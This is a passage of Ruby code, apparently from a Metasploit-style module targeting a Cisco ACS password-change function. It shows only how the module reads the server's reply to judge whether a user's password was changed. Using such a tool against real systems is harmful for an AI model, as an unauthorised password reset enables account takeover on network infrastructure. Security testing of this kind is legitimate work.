if not res
            print_error("#{rhost}:#{rport} [ACS] Unable to connect")
            return
        elsif res.code == 200
            body = res.body
                        case body
            when /success/i
                print_good("#{rhost} - Success! Password has been changed.")
            when /Password has already been used/
                print_error("#{rhost} - Failed! The supplied password has already been used.")
                print_error("Please change the password and try again.")
            when /Invalid credntials for user/
                print_error("#{rhost} - Failed! Either the username does not exist or target is not vulnerable.")
                print_error("Please change the username and try again.")
            else
                print_error("Fail")
            end
        else
            print_error("#{rhost} - Failed! The webserver issued a #{res.code} response.")
            return
        end